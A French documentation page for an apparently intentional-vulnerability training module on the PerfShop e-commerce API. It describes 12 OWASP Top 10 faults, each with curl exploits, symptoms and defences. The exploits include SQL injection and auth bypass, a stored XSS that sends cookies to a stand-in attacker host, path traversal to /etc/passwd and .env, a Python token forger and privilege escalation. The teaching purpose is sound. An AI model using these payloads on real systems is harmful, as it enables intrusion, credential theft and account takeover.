Aller au contenu

Chaos Sécurité

Le Chaos Sécurité injecte 12 failles inspirées de l'OWASP Top 10 dans le parcours e-commerce. Chaque faille est associée à un endpoint réel de PerfShop, exploitable depuis un client HTTP standard (curl, Postman, Burp). L'objectif pédagogique est de former à la détection et à l'exploitation de vulnérabilités web réelles dans un environnement contrôlé.

Service et endpoint

Classe : SecurityChaosService.java Controller : SecurityChaosController.java Endpoint admin : POST /api/admin/chaos/security body {"level": 0-4} Endpoint public : GET /api/chaos/public/security/{status,logs,faults}

Niveaux

Niveau Label Failles actives Cumul
0 Désactivé aucune 0
1 Junior S1 – S3 3
2 Confirmé S1 – S6 6
3 Expert S1 – S9 9
4 Master S1 – S12 (portail admin) 12

Le niveau 4 Master débloque trois failles spécifiques au portail admin de PerfShop (S10, S11, S12) — un endpoint caché qui ne devrait exister qu'en environnement de test mais qui se retrouve exposé en production dans le scénario.

Mapping OWASP Top 10

Faille Nom OWASP Endpoint exposé
S1 Injection SQL A03:2021 GET /api/products/search?q=
S2 IDOR Commandes A01:2021 GET /api/orders/{id}
S3 Hash Password Exposé A02:2021 GET /api/auth/me
S4 XSS Stocké A03:2021 POST /api/orders (champ shippingAddress)
S5 Falsification Prix A04:2021 POST /api/orders (prix dans le body)
S6 Timing Attack Login A07:2021 POST /api/auth/login
S7 Token HMAC Faible A02:2021 POST /api/auth/login → header X-Debug-Token
S8 Path Traversal A01:2021 GET /api/orders/{id}/invoice?format=
S9 Mass Assignment A08:2021 PUT /api/auth/me
S10 Stats Portail Non Auth. A09:2021 GET /api/admin/portal/stats
S11 SQLi Login Portail A03:2021 POST /api/admin/portal/login
S12 IDOR Élévation Privilèges A01:2021 PUT /api/admin/portal/accounts/{id}/promote

Les codes OWASP correspondent à l'édition 2021 du Top 10.

Niveau 1 — Junior (S1 – S3)

S1 — Injection SQL

Niveau requis : 1+ Méthode : recordSqlInjection(String query, String userInfo) Compteur : chaos.security.s1.sqli OWASP : A03:2021 — Injection Endpoint vulnérable : GET /api/products/search?q=

L'endpoint de recherche produit exécute une requête SQL native — au lieu d'utiliser une PreparedStatement paramétrée, il concatène la valeur du paramètre q directement dans la requête. Le service détecte les motifs suspects via la regex SQL_INJECTION_PATTERN qui matche ', --, ;, OR, AND, UNION, SELECT, DROP, INSERT, UPDATE, DELETE, EXEC, CAST, CONVERT.

Exploitation

curl "https://perfshop-api.perfshop.io/api/products/search?q=' OR '1'='1"
curl "https://perfshop-api.perfshop.io/api/products/search?q=admin'--"

Symptômes

  • Logs Loki : [SecurityChaos][S1] INJECTION SQL detectee — payload='...' (sévérité ERROR)
  • Activity log : entrée S1_SQLI avec le pattern extrait (quote simple, commentaire SQL, multi-requête, UNION, SELECT, OR)
  • Comportement anormal : la recherche retourne des résultats inattendus ou tous les produits

Pédagogie

Démonstration de l'injection SQL classique — l'étudiant apprend à identifier les payloads efficaces et à comprendre pourquoi les PreparedStatement avec paramètres liés sont la seule vraie défense.

S2 — IDOR Commandes

Niveau requis : 1+ Méthode : recordIdorAccess(String attackerEmail, Long victimUserId, Long orderId) Compteur : chaos.security.s2.idor OWASP : A01:2021 — Broken Access Control Endpoint vulnérable : GET /api/orders/{id}

La vérification d'appartenance de la commande à l'utilisateur connecté est désactivée. N'importe quel utilisateur authentifié peut accéder aux commandes des autres en incrémentant simplement l'identifiant.

Exploitation

# Connecté en tant qu'attaquant, accède aux commandes d'autres users
curl https://perfshop-api.perfshop.io/api/orders/1 -H "Cookie: ..."
curl https://perfshop-api.perfshop.io/api/orders/2 -H "Cookie: ..."
curl https://perfshop-api.perfshop.io/api/orders/42 -H "Cookie: ..."

Symptômes

  • L'endpoint retourne HTTP 200 avec les détails de la commande au lieu d'un 403 Forbidden
  • Logs Loki : [SecurityChaos][S2] IDOR detecte — attaquant={email} commande#{id} userId={victimId}
  • Activity log : S2_IDOR sévérité ERROR avec attaquant + victime

Pédagogie

C'est le bug de sécurité le plus banal et le plus dévastateur des APIs REST. Un test simple consiste à itérer sur les IDs commande et à compter les codes 200 vs 403. Tout 200 sur une commande qui ne m'appartient pas est un IDOR.

S3 — Hash Password Exposé

Niveau requis : 1+ Méthode : recordPasswordHashExposed(String userEmail) Compteur : chaos.security.s3.hash OWASP : A02:2021 — Cryptographic Failures Endpoint vulnérable : GET /api/auth/me

Le DTO retourné par /api/auth/me inclut le champ password contenant le hash BCrypt complet ($2a$10$...). Le hash est cryptographiquement solide, mais sa simple exposition autorise une attaque offline par dictionnaire ou par GPU sur les mots de passe faibles.

Exploitation

curl https://perfshop-api.perfshop.io/api/auth/me -H "Cookie: ..." | jq .password
# → "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"

Symptômes

  • Le JSON /api/auth/me contient un champ password non-null
  • Logs Loki : [SecurityChaos][S3] Hash password BCrypt expose — user={email}
  • Activity log : S3_HASH sévérité WARN

Pédagogie

Faille classique de DTO oubliée : un développeur génère automatiquement le DTO depuis l'entité JPA (Lombok, MapStruct) sans exclure les champs sensibles. La défense est l'utilisation systématique de DTOs explicites avec whitelist de champs.

Niveau 2 — Confirmé (S4 – S6)

S4 — XSS Stocké

Niveau requis : 2+ Méthode : processShippingAddress(String address, String userEmail) Compteur : chaos.security.s4.xss OWASP : A03:2021 — Injection Endpoint vulnérable : POST /api/orders (champ shippingAddress)

L'adresse de livraison est stockée brute en base de données sans aucune sanitisation HTML. Tout payload XSS est ensuite restitué tel quel dans l'interface admin formateur, permettant l'exécution de JavaScript dans le navigateur d'un utilisateur privilégié. Le service détecte les patterns XSS via la regex XSS_PATTERN qui matche <script, <img, <svg, onerror=, onload=, onclick=, javascript:, <iframe, <object, <embed, alert(, eval(.

Exploitation

curl -X POST https://perfshop-api.perfshop.io/api/orders \
  -H "Content-Type: application/json" -H "Cookie: ..." \
  -d '{"shippingAddress": "<script>fetch(\"https://attaquant.example/?c=\"+document.cookie)</script>"}'

Symptômes

  • Logs Loki : [SecurityChaos][S4] XSS STOCKE detecte — payload='...'
  • Activity log : S4_XSS sévérité ERROR
  • Effet observable : le payload exécute du JS quand le formateur ouvre la commande dans chaos-admin

Pédagogie

Le XSS stocké est plus dangereux que le XSS reflété car il persiste et touche tous les utilisateurs qui consultent la donnée — typiquement les administrateurs. Démonstration de l'importance d'échapper le HTML à la sortie (côté frontend) plutôt qu'à l'entrée.

S5 — Falsification de Prix

Niveau requis : 2+ Méthode : recordPriceTampering(Long productId, BigDecimal clientPrice, BigDecimal realPrice, String userEmail) Compteur : chaos.security.s5.price OWASP : A04:2021 — Insecure Design Endpoint vulnérable : POST /api/orders

Le backend accepte le prix unitaire envoyé par le client dans le body de la commande au lieu de le récupérer depuis la base de données. Un attaquant peut donc commander un produit à 999 € pour 0,01 € en modifiant simplement le payload JSON.

Exploitation

curl -X POST https://perfshop-api.perfshop.io/api/orders \
  -H "Content-Type: application/json" -H "Cookie: ..." \
  -d '{"items":[{"productId": 42, "quantity": 1, "price": 0.01}]}'

Symptômes

  • Logs Loki : [SecurityChaos][S5] PRIX FALSIFIE — produit#42 client=0.01 reel=999.00 — user={email}
  • Activity log : S5_PRICE ERROR avec économie frauduleuse calculée
  • Base de données : la commande est créée au prix soumis, pas au prix catalogue

Pédagogie

Anti-pattern classique : faire confiance aveuglément au body client. La règle d'or est que le serveur doit toujours recalculer les montants à partir des données canoniques (catalogue, promos validées côté serveur). Le client ne devrait envoyer que productId et quantity.

S6 — Timing Attack Login

Niveau requis : 2+ Méthode : recordTimingAttack(String email, boolean userExists, long timingMs) Compteur : chaos.security.s6.timing OWASP : A07:2021 — Identification and Authentication Failures Endpoint vulnérable : POST /api/auth/login

L'endpoint de login répond en moins de 5 ms quand l'email n'existe pas (court-circuit avant tout calcul cryptographique), et en ~300 ms quand l'email existe (BCrypt est intentionnellement lent). Cette différence de timing observable permet à un attaquant d'énumérer les comptes valides sans même tenter un mot de passe.

Exploitation

# Mesure le temps de réponse pour énumérer les comptes
for email in alice@x.com bob@y.com charlie@z.com; do
  time curl -s -X POST https://perfshop-api.perfshop.io/api/auth/login \
    -d "{\"email\":\"$email\",\"password\":\"x\"}" \
    -H "Content-Type: application/json"
done
# Les emails qui répondent en ~300ms existent
# Ceux qui répondent en <5ms n'existent pas

Symptômes

  • Logs Loki : [SecurityChaos][S6] Timing attack — email={masqué} existe={bool} timing={ms}ms
  • Activity log : S6_TIMING (ERROR si compte inexistant, WARN si existant)

Pédagogie

Démonstration des side-channels appliqués au web. La défense consiste à toujours exécuter un BCrypt dummy quand l'email n'existe pas, pour égaliser les temps de réponse — pattern « constant-time comparison ».

Niveau 3 — Expert (S7 – S9)

S7 — Token HMAC à clé faible

Niveau requis : 3+ Méthodes : generateWeakToken(Long userId) / validateWeakToken(String token, Long sessionUserId) Compteur : chaos.security.s7.token OWASP : A02:2021 — Cryptographic Failures Endpoint vulnérable : POST /api/auth/login → header X-Debug-Token

Le backend génère un token additionnel X-Debug-Token au format base64(userId:timestamp).hmac-sha256(payload) signé avec la clé secret123 (constante WEAK_HMAC_KEY). La clé étant trivialement devinable (ou découvrable dans les sources), l'attaquant peut forger un token valide pour n'importe quel userId.

Exploitation

import base64, hmac, hashlib, time

WEAK_KEY = "secret123"  # devinée ou trouvée dans les sources
target_user_id = 1     # forger un token pour l'admin

payload = f"{target_user_id}:{int(time.time() * 1000)}"
sig = base64.urlsafe_b64encode(
    hmac.new(WEAK_KEY.encode(), payload.encode(), hashlib.sha256).digest()
).rstrip(b"=").decode()
forged = base64.urlsafe_b64encode(payload.encode()).rstrip(b"=").decode() + "." + sig
print(f"X-Debug-Token: {forged}")

Symptômes

  • Logs Loki : [SecurityChaos][S7] TOKEN FORGE — sessionUserId={vrai} tokenUserId={forgé}
  • Activity log : S7_TOKEN ERROR avec usurpation détectée
  • Le token forgé est accepté comme valide par validateWeakToken()

Pédagogie

Démonstration que la force de l'algorithme HMAC ne compense jamais une clé faible. La défense consiste à utiliser des clés cryptographiquement aléatoires (≥ 256 bits) chargées depuis un secret manager, jamais hardcodées dans le code source.

S8 — Path Traversal

Niveau requis : 3+ Méthode : processInvoiceFormat(String format, Long orderId, String userEmail) Compteur : chaos.security.s8.path OWASP : A01:2021 — Broken Access Control Endpoint vulnérable : GET /api/orders/{id}/invoice?format=

Le paramètre format (normalement pdf ou csv) n'est pas validé. Le service détecte les patterns de traversée via la regex PATH_TRAVERSAL_PATTERN (../, %2e%2e%2f, %2e%2e/, ..\\/, %252e%252e, ..%2f) ainsi que les caractères .., /, \. Le service simule alors la lecture du fichier ciblé pour démontrer l'impact, sans toucher au filesystem réel de l'hôte.

Exploitation

curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../../../etc/passwd"
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../config/application.yml"
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../.env"

Symptômes

  • Le contenu retourné simule des fichiers sensibles : /etc/passwd, application.yml (avec mots de passe DB redacted), .env (avec secrets redacted)
  • Logs Loki : [SecurityChaos][S8] PATH TRAVERSAL detecte — format='...' orderId={id}
  • Activity log : S8_PATH ERROR

Pédagogie

Démonstration des conséquences d'utiliser un paramètre client dans un chemin de fichier sans validation. La défense est la canonicalisation + whitelist : résoudre le chemin absolu et vérifier qu'il appartient au répertoire autorisé.

S9 — Mass Assignment

Niveau requis : 3+ Méthode : detectAndRecordMassAssignment(Map<String, Object> body, String userEmail) Compteur : chaos.security.s9.mass OWASP : A08:2021 — Software and Data Integrity Failures Endpoint vulnérable : PUT /api/auth/me

L'endpoint de mise à jour du profil n'utilise pas de whitelist de champs autorisés. L'attaquant peut donc soumettre des champs sensibles dans le body — email, password, id, createdAt, lastLogin (constante SENSITIVE_FIELDS) — qui seront acceptés et appliqués à l'entité utilisateur.

Exploitation

# Modifier l'email d'un autre compte (combiné avec id)
curl -X PUT https://perfshop-api.perfshop.io/api/auth/me \
  -H "Content-Type: application/json" -H "Cookie: ..." \
  -d '{"id": 1, "email": "attaquant@evil.com", "password": "hacked"}'

Symptômes

  • Logs Loki : [SecurityChaos][S9] MASS ASSIGNMENT — champs: email, password, id — user={email}
  • Activity log : une entrée S9_MASS ERROR par champ sensible détecté
  • Effet : champs sensibles modifiés sans contrôle

Pédagogie

Anti-pattern fréquent en Spring Boot quand on utilise directement @RequestBody Entity au lieu d'un DTO restreint. La défense est d'utiliser un DTO de mise à jour avec uniquement les champs modifiables par l'utilisateur (firstName, lastName, phone, etc.) et de mapper manuellement vers l'entité.

Niveau 4 — Master : portail admin caché (S10 – S12)

Le niveau Master débloque trois failles spécifiques au portail admin caché de PerfShop, accessible sous /api/admin/portal/*. Ce portail est une surface d'administration qui ne devrait pas exister en production mais qui se retrouve exposée dans le scénario pédagogique. Les trois failles forment une chaîne d'exploitation réaliste : énumération → contournement de l'auth → escalade de privilèges.

S10 — Stats Portail Non Authentifié

Niveau requis : 4 Méthode : recordPortalStatsAccess(String clientIp) Compteur : chaos.security.s10.portal OWASP : A09:2021 — Security Logging and Monitoring Failures Endpoint vulnérable : GET /api/admin/portal/stats

L'endpoint de statistiques du portail admin est accessible sans authentification. Il expose le nombre d'utilisateurs, le nombre de commandes, le nombre de produits et — pire — l'email du superadmin.

Exploitation

curl https://perfshop-api.perfshop.io/api/admin/portal/stats
# {
#   "users": 142,
#   "orders": 1287,
#   "products": 56,
#   "superAdminEmail": "admin@perfshop.io"
# }

Symptômes

  • L'endpoint répond HTTP 200 à un appel non authentifié
  • Logs Loki : [SecurityChaos][S10] STATS PORTAIL acces non authentifie — ip={clientIp}
  • Pédagogie : information disclosure typique — première étape de toute attaque ciblée

S11 — SQLi Login Portail

Niveau requis : 4 Méthode : recordPortalSqliAttempt(String emailPayload, boolean bypassed) Compteur : chaos.security.s11.sqli OWASP : A03:2021 — Injection Endpoint vulnérable : POST /api/admin/portal/login

Le formulaire de login du portail admin est vulnérable à l'injection SQL — la requête de vérification email/password est concaténée. Le payload classique admin' OR '1'='1' -- permet de contourner totalement l'authentification et d'obtenir un adminToken valide.

Exploitation

curl -X POST https://perfshop-api.perfshop.io/api/admin/portal/login \
  -H "Content-Type: application/json" \
  -d "{\"email\": \"admin' OR '1'='1' --\", \"password\": \"x\"}"
# → { "adminToken": "...", "user": { ... } }

Symptômes

  • Le bypass réussit : l'API retourne un adminToken malgré un mot de passe arbitraire
  • Logs Loki : [SecurityChaos][S11] SQLI PORTAIL REUSSIE — payload='...' (sévérité ERROR)
  • Activity log : S11_SQLI ERROR avec le payload exact

Pédagogie

Démonstration que les surfaces d'admin internes méritent les mêmes contrôles que les surfaces publiques. Le mythe de la « surface interne donc protégée » est une cause récurrente de bypass critiques. Cumulé avec S10 (énumération de l'email superadmin), l'attaque devient ciblée.

S12 — IDOR Élévation de Privilèges

Niveau requis : 4 Méthode : recordPrivilegeEscalation(Long requesterId, Long targetId) Compteur : chaos.security.s12.idor OWASP : A01:2021 — Broken Access Control Endpoint vulnérable : PUT /api/admin/portal/accounts/{id}/promote

L'endpoint de promotion vers superAdmin ne vérifie pas que l'appelant est lui-même superAdmin — n'importe quel admin standard peut promouvoir un compte arbitraire au rang superAdmin. C'est l'aboutissement de la chaîne S10 → S11 → S12 : l'attaquant qui a contourné le login (S11) peut promouvoir son propre compte au rang ultime.

Exploitation

# Étape 1 : énumération via S10
curl https://perfshop-api.perfshop.io/api/admin/portal/stats

# Étape 2 : bypass auth via S11
TOKEN=$(curl -X POST .../portal/login -d "..." | jq -r .adminToken)

# Étape 3 : auto-promotion via S12
curl -X PUT https://perfshop-api.perfshop.io/api/admin/portal/accounts/2/promote \
  -H "Authorization: Bearer $TOKEN"

Symptômes

  • Le compte cible passe superAdmin = true
  • Logs Loki : [SecurityChaos][S12] ELEVATION PRIVILEGES — requesterId={X} -> targetId={Y}
  • Activity log : S12_IDOR ERROR

Pédagogie

Démonstration qu'une chaîne d'exploits vaut souvent plus qu'une faille isolée. La défense est la vérification de rôle systématique sur toute action sensible — pattern « never trust, always verify » appliqué aux APIs internes.

API — endpoints publics

Endpoint Description
GET /api/chaos/public/security/status Niveau courant + 12 compteurs
GET /api/chaos/public/security/logs Activity log (200 dernières entrées)
GET /api/chaos/public/security/faults?level=N Catalogue pédagogique pour le niveau N (avec OWASP + endpoint)

API — endpoints admin

# Activer le niveau Master
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security \
  -H "X-Admin-Token: $TOKEN" -H "Content-Type: application/json" \
  -d '{"level": 4}'

# Reset (toutes failles désactivées + compteurs à 0)
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security/reset \
  -H "X-Admin-Token: $TOKEN"

# Vider l'activity log
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security/logs/clear \
  -H "X-Admin-Token: $TOKEN"

Activation par l'étudiant

POST /api/chaos/student/security body {"level": N} — exige le mode étudiant et une licence valide pour level > 0. Sans licence, retourne HTTP 402 LICENSE_REQUIRED.

Mode hackathon

Pour le Chaos Sécurité, le mode hackathon a une saveur particulière : les étudiants disposent d'un accès API et doivent identifier les failles actives (réponses inattendues, champs supplémentaires, timing, etc.), les exploiter pour démontrer leur impact, et documenter chaque faille au format OWASP standard (titre, vecteur, impact, remédiation).